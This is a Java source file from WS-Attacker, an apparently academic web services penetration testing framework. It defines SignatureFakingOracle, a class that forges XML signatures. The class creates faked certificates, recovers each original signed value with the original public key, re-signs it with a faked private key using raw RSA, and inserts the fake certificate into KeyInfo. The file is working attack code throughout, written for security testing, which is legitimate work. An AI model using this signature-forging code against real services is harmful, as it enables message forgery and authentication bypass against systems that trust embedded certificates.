/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2013 Juraj Somorovsky * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package wsattacker.library.signatureFaking; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.PublicKey; import java.security.Security; import java.util.LinkedList; import java.util.List; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import org.apache.commons.codec.binary.Base64; import org.apache.log4j.Logger; import org.bouncycastle.jce.provider.BouncyCastleProvider; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; import wsattacker.library.signatureFaking.exceptions.CertificateHandlerException; import wsattacker.library.signatureFaking.exceptions.SignatureFakingException; import wsattacker.library.signatureFaking.helper.CertificateHandler; import wsattacker.library.xmlutilities.dom.DomUtilities; import wsattacker.library.xmlutilities.namespace.NamespaceConstants; /** * Creates faked signatures by issuing a new certificate and resigning the original signature value * * @author Juraj Somorovsky - juraj.somorovsky@rub.de * @version 0.1 */ public class SignatureFakingOracle { private Document doc; private List<Node> signatureValueElements; private List<Node> keyInfoElements; private List<String> certificates; private List<CertificateHandler> certHandlers; private Logger log = Logger.getLogger( SignatureFakingOracle.class ); /** * Creates SignatureWrappingOracle, parses the document and searches for all the SignatureValue and KeyInfo elements * * @param documentString * @throws SignatureFakingException */ public SignatureFakingOracle( final String documentString ) throws SignatureFakingException { Security.addProvider( new BouncyCastleProvider() ); signatureValueElements = new LinkedList<Node>(); keyInfoElements = new LinkedList<Node>(); certificates = new LinkedList<String>(); certHandlers = new LinkedList<CertificateHandler>(); try { doc = DomUtilities.stringToDom( documentString ); crawlSignatureElements(); log.debug( "found " + signatureValueElements.size() + " SignatureValue elements" ); crawlKeyInfoElements(); log.debug( "found " + keyInfoElements.size() + " KeyInfo elements containing X509 certificates" ); } catch ( SAXException e ) { throw new SignatureFakingException( e ); } } /** * Creates fake signatures * * @throws SignatureFakingException */ public void fakeSignatures() throws SignatureFakingException { try { createFakedCertificates(); for ( int i = 0; i < signatureValueElements.size(); i++ ) { fakeSignature( i ); } } catch ( CertificateHandlerException e ) { throw new SignatureFakingException( e ); } } public void fakeSignature( int i ) throws CertificateHandlerException, SignatureFakingException { if ( signatureValueElements.size() != certHandlers.size() ) { createFakedCertificates(); } String signature = signatureValueElements.get( i ).getTextContent(); CertificateHandler ch = certHandlers.get( i ); byte[] newSignature = resignValue( Base64.decodeBase64( signature ), ch ); signatureValueElements.get( i ).setTextContent( new String( Base64.encodeBase64( newSignature ) ) ); appendCertificate( keyInfoElements.get( i ), ch.getFakedCertificateString() ); } private void createFakedCertificates() throws CertificateHandlerException { for ( String cert : certificates ) { CertificateHandler ch = new CertificateHandler( cert ); ch.createFakedCertificate(); certHandlers.add( ch ); } } /** * @return True if the signature contains public key information (X509 certificate in the KeyInfo element) */ public boolean certificateProvided() { if ( certificates.size() > 0 ) { return true; } else { return false; } } public void setCertificate( String cert ) { certificates.clear(); // we want to have so many certificates as many signature values for ( int i = 0; i < signatureValueElements.size(); i++ ) { certificates.add( cert ); } } /** * Crawls all the collected KeyInfo elements and extracts certificates */ private void crawlKeyInfoElements() { for ( Node ki : keyInfoElements ) { List<Element> l = DomUtilities.findChildren( ki, "X509Certificate", NamespaceConstants.URI_NS_DS, true ); if ( l.size() > 0 ) { Node x509cert = l.get( 0 ); if ( x509cert != null && x509cert.getLocalName().equals( "X509Certificate" ) ) { certificates.add( x509cert.getTextContent() ); } } } } private void crawlSignatureElements() throws SignatureFakingException { // TODO replace with DOMUtilities NodeList nl = getSignatureElements(); for ( int i = 0; i < nl.getLength(); i++ ) { Node n = nl.item( i ); NodeList children = n.getChildNodes(); for ( int j = 0; j < children.getLength(); j++ ) { Node current = children.item( j ); if ( current.getNodeType() == Node.ELEMENT_NODE ) { if ( current.getLocalName().equals( "SignedInfo" ) ) { Element signatureMethod = DomUtilities.findChildren( current, "SignatureMethod", NamespaceConstants.URI_NS_DS, false ).get( 0 ); if ( signatureMethod != null && ( !isSignatureMethodSupported( signatureMethod ) ) ) { throw new SignatureFakingException( "Signature " + "Algorithm not yet supported" ); } } else if ( current.getLocalName().equals( "SignatureValue" ) ) { signatureValueElements.add( current ); } else if ( current.getLocalName().equals( "KeyInfo" ) ) { keyInfoElements.add( current ); } } } } } private boolean isSignatureMethodSupported( Node signatureMethodElement ) { NamedNodeMap nl = signatureMethodElement.getAttributes(); Node n = nl.getNamedItem( "Algorithm" ); if ( n != null ) { String algorithm = n.getTextContent(); if ( algorithm.contains( "rsa-sha" ) ) { return true; } } return false; } private void appendCertificate( Node keyInfo, String certificate ) { keyInfo.setTextContent( "" ); String prefix = keyInfo.getPrefix(); if ( prefix == null ) { prefix = ""; } else { prefix = prefix + ":"; } Node data = keyInfo.getOwnerDocument().createElementNS( NamespaceConstants.URI_NS_DS, prefix + "X509Data" ); keyInfo.appendChild( data ); Node cert = keyInfo.getOwnerDocument().createElementNS( NamespaceConstants.URI_NS_DS, prefix + "X509Certificate" ); data.appendChild( cert ); cert.setTextContent( certificate ); log.debug( "Appending Certificate \r\n" + certificate + "\r\nto the" + prefix + "X509Certificate element" ); } private byte[] resignValue( byte[] signatureValue, CertificateHandler ch ) throws SignatureFakingException { PrivateKey privKey = ch.getFakedKeyPair().getPrivate(); PublicKey pubKey = ch.getOriginalPublicKey(); String alg = ch.getFakedCertificate().getSigAlgName(); if ( alg.contains( "RSA" ) ) { try { Cipher cipher = Cipher.getInstance( "RSA/None/NoPadding" ); cipher.init( Cipher.ENCRYPT_MODE, pubKey ); byte[] unsigend = cipher.doFinal( signatureValue ); cipher = Cipher.getInstance( "RSA/None/NoPadding" ); cipher.init( Cipher.DECRYPT_MODE, privKey ); log.debug( "New Signature value computed" ); return cipher.doFinal( unsigend ); } catch ( BadPaddingException e ) { throw new SignatureFakingException( e ); } catch ( IllegalBlockSizeException e ) { throw new SignatureFakingException( e ); } catch ( InvalidKeyException e ) { throw new SignatureFakingException( e ); } catch ( NoSuchAlgorithmException e ) { throw new SignatureFakingException( e ); } catch ( NoSuchPaddingException e ) { throw new SignatureFakingException( e ); } } else { return null; } } private NodeList getSignatureElements() { return doc.getElementsByTagNameNS( NamespaceConstants.URI_NS_DS, "Signature" ); } public List<String> getCertificates() { return certificates; } public String getDocument() { return DomUtilities.domToString( doc ); } }